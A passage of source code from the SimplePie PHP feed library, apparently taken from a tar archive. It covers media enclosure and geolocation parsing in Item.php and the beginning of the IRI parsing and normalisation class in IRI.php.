\SimplePie\SimplePie::CONSTRUCT_IRI); } if (is_array($thumbnails)) { $thumbnails = array_values(array_unique($thumbnails)); } } else { $thumbnails = $thumbnails_parent; } // TITLES if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) { $title = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } elseif (isset($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) { $title = $this->sanitize($group['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $title = $title_parent; } $this->data['enclosures'][] = $this->registry->create('Enclosure', [$url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width]); } } } } // If we have standalone media:content tags, loop through them. if (isset($this->data['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'])) { foreach ((array) $this->data['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['content'] as $content) { if (isset($content['attribs']['']['url']) || isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; // Elements $captions = null; $categories = null; $copyrights = null; $credits = null; $description = null; $hashes = null; $keywords = null; $player = null; $ratings = null; $restrictions = null; $thumbnails = null; $title = null; // Start checking the attributes of media:content if (isset($content['attribs']['']['bitrate'])) { $bitrate = $this->sanitize($content['attribs']['']['bitrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['channels'])) { $channels = $this->sanitize($content['attribs']['']['channels'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['duration'])) { $duration = $this->sanitize($content['attribs']['']['duration'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $duration = $duration_parent; } if (isset($content['attribs']['']['expression'])) { $expression = $this->sanitize($content['attribs']['']['expression'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['framerate'])) { $framerate = $this->sanitize($content['attribs']['']['framerate'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['height'])) { $height = $this->sanitize($content['attribs']['']['height'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['lang'])) { $lang = $this->sanitize($content['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['fileSize'])) { $length = intval($content['attribs']['']['fileSize']); } if (isset($content['attribs']['']['medium'])) { $medium = $this->sanitize($content['attribs']['']['medium'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['samplingrate'])) { $samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['type'])) { $type = $this->sanitize($content['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['width'])) { $width = $this->sanitize($content['attribs']['']['width'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['attribs']['']['url'])) { $url = $this->sanitize($content['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI); } // Checking the other optional media: elements. Priority: media:content, media:group, item, channel // CAPTIONS if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'])) { foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['text'] as $caption) { $caption_type = null; $caption_lang = null; $caption_startTime = null; $caption_endTime = null; $caption_text = null; if (isset($caption['attribs']['']['type'])) { $caption_type = $this->sanitize($caption['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['lang'])) { $caption_lang = $this->sanitize($caption['attribs']['']['lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['start'])) { $caption_startTime = $this->sanitize($caption['attribs']['']['start'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['attribs']['']['end'])) { $caption_endTime = $this->sanitize($caption['attribs']['']['end'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($caption['data'])) { $caption_text = $this->sanitize($caption['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $captions[] = $this->registry->create('Caption', [$caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text]); } if (is_array($captions)) { $captions = array_values(array_unique($captions)); } } else { $captions = $captions_parent; } // CATEGORIES if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'])) { foreach ((array) $content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['category'] as $category) { $term = null; $scheme = null; $label = null; if (isset($category['data'])) { $term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($category['attribs']['']['scheme'])) { $scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $scheme = 'http://search.yahoo.com/mrss/category_schema'; } if (isset($category['attribs']['']['label'])) { $label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $categories[] = $this->registry->create('Category', [$term, $scheme, $label]); } } if (is_array($categories) && is_array($categories_parent)) { $categories = array_values(array_unique(array_merge($categories, $categories_parent))); } elseif (is_array($categories)) { $categories = array_values(array_unique($categories)); } elseif (is_array($categories_parent)) { $categories = array_values(array_unique($categories_parent)); } else { $categories = null; } // COPYRIGHTS if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'])) { $copyright_url = null; $copyright_label = null; if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'])) { $copyright_url = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'])) { $copyright_label = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['copyright'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $copyrights = $this->registry->create('Copyright', [$copyright_url, $copyright_label]); } else { $copyrights = $copyrights_parent; } // CREDITS if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'])) { foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['credit'] as $credit) { $credit_role = null; $credit_scheme = null; $credit_name = null; if (isset($credit['attribs']['']['role'])) { $credit_role = $this->sanitize($credit['attribs']['']['role'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($credit['attribs']['']['scheme'])) { $credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $credit_scheme = 'urn:ebu'; } if (isset($credit['data'])) { $credit_name = $this->sanitize($credit['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $credits[] = $this->registry->create('Credit', [$credit_role, $credit_scheme, $credit_name]); } if (is_array($credits)) { $credits = array_values(array_unique($credits)); } } else { $credits = $credits_parent; } // DESCRIPTION if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'])) { $description = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['description'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $description = $description_parent; } // HASHES if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'])) { foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['hash'] as $hash) { $value = null; $algo = null; if (isset($hash['data'])) { $value = $this->sanitize($hash['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($hash['attribs']['']['algo'])) { $algo = $this->sanitize($hash['attribs']['']['algo'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $algo = 'md5'; } $hashes[] = $algo.':'.$value; } if (is_array($hashes)) { $hashes = array_values(array_unique($hashes)); } } else { $hashes = $hashes_parent; } // KEYWORDS if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'])) { if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'])) { $temp = explode(',', $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['keywords'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT)); foreach ($temp as $word) { $keywords[] = trim($word); } unset($temp); } if (is_array($keywords)) { $keywords = array_values(array_unique($keywords)); } } else { $keywords = $keywords_parent; } // PLAYER if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'])) { if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'])) { $player = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI); } } else { $player = $player_parent; } // RATINGS if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'])) { foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['rating'] as $rating) { $rating_scheme = null; $rating_value = null; if (isset($rating['attribs']['']['scheme'])) { $rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $rating_scheme = 'urn:simple'; } if (isset($rating['data'])) { $rating_value = $this->sanitize($rating['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $ratings[] = $this->registry->create('Rating', [$rating_scheme, $rating_value]); } if (is_array($ratings)) { $ratings = array_values(array_unique($ratings)); } } else { $ratings = $ratings_parent; } // RESTRICTIONS if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'])) { foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['restriction'] as $restriction) { $restriction_relationship = null; $restriction_type = null; $restriction_value = null; if (isset($restriction['attribs']['']['relationship'])) { $restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($restriction['attribs']['']['type'])) { $restriction_type = $this->sanitize($restriction['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($restriction['data'])) { $restriction_value = $this->sanitize($restriction['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } $restrictions[] = $this->registry->create('Restriction', [$restriction_relationship, $restriction_type, $restriction_value]); } if (is_array($restrictions)) { $restrictions = array_values(array_unique($restrictions)); } } else { $restrictions = $restrictions_parent; } // THUMBNAILS if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'])) { foreach ($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail) { if (isset($thumbnail['attribs']['']['url'])) { $thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI); } } if (is_array($thumbnails)) { $thumbnails = array_values(array_unique($thumbnails)); } } else { $thumbnails = $thumbnails_parent; } // TITLES if (isset($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'])) { $title = $this->sanitize($content['child'][\SimplePie\SimplePie::NAMESPACE_MEDIARSS]['title'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $title = $title_parent; } $this->data['enclosures'][] = $this->registry->create('Enclosure', [$url, $type, $length, null, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width]); } } } foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link') as $link) { if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; $url = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link)); if (isset($link['attribs']['']['type'])) { $type = $this->sanitize($link['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($link['attribs']['']['length'])) { $length = intval($link['attribs']['']['length']); } if (isset($link['attribs']['']['title'])) { $title = $this->sanitize($link['attribs']['']['title'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } else { $title = $title_parent; } // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title, $width]); } } foreach ((array) $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link') as $link) { if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] === 'enclosure') { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; $url = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link)); if (isset($link['attribs']['']['type'])) { $type = $this->sanitize($link['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($link['attribs']['']['length'])) { $length = intval($link['attribs']['']['length']); } // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]); } } if ($enclosure = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'enclosure')) { if (isset($enclosure[0]['attribs']['']['url'])) { // Attributes $bitrate = null; $channels = null; $duration = null; $expression = null; $framerate = null; $height = null; $javascript = null; $lang = null; $length = null; $medium = null; $samplingrate = null; $type = null; $url = null; $width = null; $url = $this->sanitize($enclosure[0]['attribs']['']['url'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($enclosure[0])); $url = $this->feed->sanitize->https_url($url); if (isset($enclosure[0]['attribs']['']['type'])) { $type = $this->sanitize($enclosure[0]['attribs']['']['type'], \SimplePie\SimplePie::CONSTRUCT_TEXT); } if (isset($enclosure[0]['attribs']['']['length'])) { $length = intval($enclosure[0]['attribs']['']['length']); } // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]); } } if (sizeof($this->data['enclosures']) === 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $restrictions_parent || $samplingrate || $thumbnails_parent || $title_parent || $width)) { // Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor $this->data['enclosures'][] = $this->registry->create('Enclosure', [$url, $type, $length, null, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width]); } $this->data['enclosures'] = array_values(array_unique($this->data['enclosures'])); } if (!empty($this->data['enclosures'])) { return $this->data['enclosures']; } return null; } /** * Get the latitude coordinates for the item * * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications * * Uses `<geo:lat>` or `<georss:point>` * * @since 1.0 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo * @link http://www.georss.org/ GeoRSS * @return string|null */ public function get_latitude() { if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lat')) { return (float) $return[0]['data']; } elseif (($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[1]; } return null; } /** * Get the longitude coordinates for the item * * Compatible with the W3C WGS84 Basic Geo and GeoRSS specifications * * Uses `<geo:long>`, `<geo:lon>` or `<georss:point>` * * @since 1.0 * @link http://www.w3.org/2003/01/geo/ W3C WGS84 Basic Geo * @link http://www.georss.org/ GeoRSS * @return string|null */ public function get_longitude() { if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'long')) { return (float) $return[0]['data']; } elseif ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lon')) { return (float) $return[0]['data']; } elseif (($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) { return (float) $match[2]; } return null; } /** * Get the `<atom:source>` for the item * * @since 1.1 * @return \SimplePie\Source|null */ public function get_source() { if ($return = $this->get_item_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'source')) { return $this->registry->create('Source', [$this, $return[0]]); } return null; } } class_alias('SimplePie\Item', 'SimplePie_Item'); �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/simplepie/src/IRI.php���������������������������������������������������������������������������0000644�����������������00000105260�14757771437�0011301 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * SimplePie * * A PHP-Based RSS and Atom Feed Framework. * Takes the hard work out of managing a complete RSS/Atom solution. * * Copyright (c) 2004-2022, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors * All rights reserved. * * Redistribution and use in source and binary forms, with or without modification, are * permitted provided that the following conditions are met: * * * Redistributions of source code must retain the above copyright notice, this list of * conditions and the following disclaimer. * * * Redistributions in binary form must reproduce the above copyright notice, this list * of conditions and the following disclaimer in the documentation and/or other materials * provided with the distribution. * * * Neither the name of the SimplePie Team nor the names of its contributors may be used * to endorse or promote products derived from this software without specific prior * written permission. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. * * @package SimplePie * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue * @author Ryan Parman * @author Sam Sneddon * @author Ryan McCue * @link http://simplepie.org/ SimplePie * @license http://www.opensource.org/licenses/bsd-license.php BSD License */ namespace SimplePie; /** * IRI parser/serialiser/normaliser * * @package SimplePie * @subpackage HTTP * @author Sam Sneddon * @author Steve Minutillo * @author Ryan McCue * @copyright 2007-2012 Sam Sneddon, Steve Minutillo, Ryan McCue * @license http://www.opensource.org/licenses/bsd-license.php */ class IRI { /** * Scheme * * @var string */ protected $scheme = null; /** * User Information * * @var string */ protected $iuserinfo = null; /** * ihost * * @var string */ protected $ihost = null; /** * Port * * @var string */ protected $port = null; /** * ipath * * @var string */ protected $ipath = ''; /** * iquery * * @var string */ protected $iquery = null; /** * ifragment * * @var string */ protected $ifragment = null; /** * Normalization database * * Each key is the scheme, each value is an array with each key as the IRI * part and value as the default value for that part. */ protected $normalization = [ 'acap' => [ 'port' => 674 ], 'dict' => [ 'port' => 2628 ], 'file' => [ 'ihost' => 'localhost' ], 'http' => [ 'port' => 80, 'ipath' => '/' ], 'https' => [ 'port' => 443, 'ipath' => '/' ], ]; /** * Return the entire IRI when you try and read the object as a string * * @return string */ public function __toString() { return $this->get_iri(); } /** * Overload __set() to provide access via properties * * @param string $name Property name * @param mixed $value Property value */ public function __set($name, $value) { if (method_exists($this, 'set_' . $name)) { call_user_func([$this, 'set_' . $name], $value); } elseif ( $name === 'iauthority' || $name === 'iuserinfo' || $name === 'ihost' || $name === 'ipath' || $name === 'iquery' || $name === 'ifragment' ) { call_user_func([$this, 'set_' . substr($name, 1)], $value); } } /** * Overload __get() to provide access via properties * * @param string $name Property name * @return mixed */ public function __get($name) { // isset() returns false for null, we don't want to do that // Also why we use array_key_exists below instead of isset() $props = get_object_vars($this); if ( $name === 'iri' || $name === 'uri' || $name === 'iauthority' || $name === 'authority' ) { $return = $this->{"get_$name"}(); } elseif (array_key_exists($name, $props)) { $return = $this->$name; } // host -> ihost elseif (($prop = 'i' . $name) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } // ischeme -> scheme elseif (($prop = substr($name, 1)) && array_key_exists($prop, $props)) { $name = $prop; $return = $this->$prop; } else { trigger_error('Undefined property: ' . get_class($this) . '::' . $name, E_USER_NOTICE); $return = null; } if ($return === null && isset($this->normalization[$this->scheme][$name])) { return $this->normalization[$this->scheme][$name]; } return $return; } /** * Overload __isset() to provide access via properties * * @param string $name Property name * @return bool */ public function __isset($name) { return method_exists($this, 'get_' . $name) || isset($this->$name); } /** * Overload __unset() to provide access via properties * * @param string $name Property name */ public function __unset($name) { if (method_exists($this, 'set_' . $name)) { call_user_func([$this, 'set_' . $name], ''); } } /** * Create a new IRI object, from a specified string * * @param string $iri */ public function __construct($iri = null) { $this->set_iri($iri); } /** * Clean up */ public function __destruct() { $this->set_iri(null, true); $this->set_path(null, true); $this->set_authority(null, true); } /** * Create a new IRI object by resolving a relative IRI * * Returns false if $base is not absolute, otherwise an IRI. * * @param IRI|string $base (Absolute) Base IRI * @param IRI|string $relative Relative IRI * @return IRI|false */ public static function absolutize($base, $relative) { if (!($relative instanceof IRI)) { $relative = new IRI($relative); } if (!$relative->is_valid()) { return false; } elseif ($relative->scheme !== null) { return clone $relative; } else { if (!($base instanceof IRI)) { $base = new IRI($base); } if ($base->scheme !== null && $base->is_valid()) { if ($relative->get_iri() !== '') { if ($relative->iuserinfo !== null || $relative->ihost !== null || $relative->port !== null) { $target = clone $relative; $target->scheme = $base->scheme; } else { $target = new IRI(); $target->scheme = $base->scheme; $target->iuserinfo = $base->iuserinfo; $target->ihost = $base->ihost; $target->port = $base->port; if ($relative->ipath !== '') { if ($relative->ipath[0] === '/') { $target->ipath = $relative->ipath; } elseif (($base->iuserinfo !== null || $base->ihost !== null || $base->port !== null) && $base->ipath === '') { $target->ipath = '/' . $relative->ipath; } elseif (($last_segment = strrpos($base->ipath, '/')) !== false) { $target->ipath = substr($base->ipath, 0, $last_segment + 1) . $relative->ipath; } else { $target->ipath = $relative->ipath; } $target->ipath = $target->remove_dot_segments($target->ipath); $target->iquery = $relative->iquery; } else { $target->ipath = $base->ipath; if ($relative->iquery !== null) { $target->iquery = $relative->iquery; } elseif ($base->iquery !== null) { $target->iquery = $base->iquery; } } $target->ifragment = $relative->ifragment; } } else { $target = clone $base; $target->ifragment = null; } $target->scheme_normalization(); return $target; } return false; } } /** * Parse an IRI into scheme/authority/path/query/fragment segments * * @param string $iri * @return array */ protected function parse_iri($iri) { $iri = trim($iri, "\x20\x09\x0A\x0C\x0D"); if (preg_match('/^((?P<scheme>[^:\/?#]+):)?(\/\/(?P<authority>[^\/?#]*))?(?P<path>[^?#]*)(\?(?P<query>[^#]*))?(#(?P<fragment>.*))?$/', $iri, $match)) { if ($match[1] === '') { $match['scheme'] = null; } if (!isset($match[3]) || $match[3] === '') { $match['authority'] = null; } if (!isset($match[5])) { $match['path'] = ''; } if (!isset($match[6]) || $match[6] === '') { $match['query'] = null; } if (!isset($match[8]) || $match[8] === '') { $match['fragment'] = null; } return $match; } // This can occur when a paragraph is accidentally parsed as a URI return false; } /** * Remove dot segments from a path * * @param string $input * @return string */ protected function remove_dot_segments($input) { $output = ''; while (strpos($input, './') !== false || strpos($input, '/.') !== false || $input === '.' || $input === '..') { // A: If the input buffer begins with a prefix of "../" or "./", then remove that prefix from the input buffer; otherwise, if (strpos($input, '../') === 0) { $input = substr($input, 3); } elseif (strpos($input, './') === 0) { $input = substr($input, 2); } // B: if the input buffer begins with a prefix of "/./" or "/.", where "." is a complete path segment, then replace that prefix with "/" in the input buffer; otherwise, elseif (strpos($input, '/./') === 0) { $input = substr($input, 2); } elseif ($input === '/.') { $input = '/'; } // C: if the input buffer begins with a prefix of "/../" or "/..", where ".." is a complete path segment, then replace that prefix with "/" in the input buffer and remove the last segment and its preceding "/" (if any) from the output buffer; otherwise, elseif (strpos($input, '/../') === 0) { $input = substr($input, 3); $output = substr_replace($output, '', strrpos($output, '/')); } elseif ($input === '/..') { $input = '/'; $output = substr_replace($output, '', strrpos($output, '/')); } // D: if the input buffer consists only of "." or "..", then remove that from the input buffer; otherwise, elseif ($input === '.' || $input === '..') { $input = ''; } // E: move the first path segment in the input buffer to the end of the output buffer, including the initial "/" character (if any) and any subsequent characters up to, but not including, the next "/" character or the end of the input buffer elseif (($pos = strpos($input, '/', 1)) !== false) { $output .= substr($input, 0, $pos); $input = substr_replace($input, '', 0, $pos); } else { $output .= $input; $input = ''; } } return $output . $input; } /** * Replace invalid character with percent encoding * * @param string $string Input string * @param string $extra_chars Valid characters not in iunreserved or * iprivate (this is ASCII-only) * @param bool $iprivate Allow iprivate * @return string */ protected function replace_invalid_with_pct_encoding($string, $extra_chars, $iprivate = false) { // Normalize as many pct-encoded sections as possible $string = preg_replace_callback('/(?:%[A-Fa-f0-9]{2})+/', [$this, 'remove_iunreserved_percent_encoded'], $string); // Replace invalid percent characters $string = preg_replace('/%(?![A-Fa-f0-9]{2})/', '%25', $string); // Add unreserved and % to $extra_chars (the latter is safe because all // pct-encoded sections are now valid). $extra_chars .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-._~%'; // Now replace any bytes that aren't allowed with their pct-encoded versions $position = 0; $strlen = strlen($string); while (($position += strspn($string, $extra_chars, $position)) < $strlen) { $value = ord($string[$position]); // Start position $start = $position; // By default we are valid $valid = true; // No one byte sequences are valid due to the while. // Two byte sequence: if (($value & 0xE0) === 0xC0) { $character = ($value & 0x1F) << 6; $length = 2; $remaining = 1; } // Three byte sequence: elseif (($value & 0xF0) === 0xE0) { $character = ($value & 0x0F) << 12; $length = 3; $remaining = 2; } // Four byte sequence: elseif (($value & 0xF8) === 0xF0) { $character = ($value & 0x07) << 18; $length = 4; $remaining = 3; } // Invalid byte: else { $valid = false; $length = 1; $remaining = 0; } if ($remaining) { if ($position + $length <= $strlen) { for ($position++; $remaining; $position++) { $value = ord($string[$position]); // Check that the byte is valid, then add it to the character: if (($value & 0xC0) === 0x80) { $character |= ($value & 0x3F) << (--$remaining * 6); } // If it is invalid, count the sequence as invalid and reprocess the current byte: else { $valid = false; $position--; break; } } } else { $position = $strlen - 1; $valid = false; } } // Percent encode anything invalid or not in ucschar if ( // Invalid sequences !$valid // Non-shortest form sequences are invalid || $length > 1 && $character <= 0x7F || $length > 2 && $character <= 0x7FF || $length > 3 && $character <= 0xFFFF // Outside of range of ucschar codepoints // Noncharacters || ($character & 0xFFFE) === 0xFFFE || $character >= 0xFDD0 && $character <= 0xFDEF || ( // Everything else not in ucschar $character > 0xD7FF && $character < 0xF900 || $character < 0xA0 || $character > 0xEFFFD ) && ( // Everything not in iprivate, if it applies !$iprivate || $character < 0xE000 || $character > 0x10FFFD ) ) { // If we were a character, pretend we weren't, but rather an error. if ($valid) { $position--; } for ($j = $start; $j <= $position; $j++) { $string = substr_replace($string, sprintf('%%%02X', 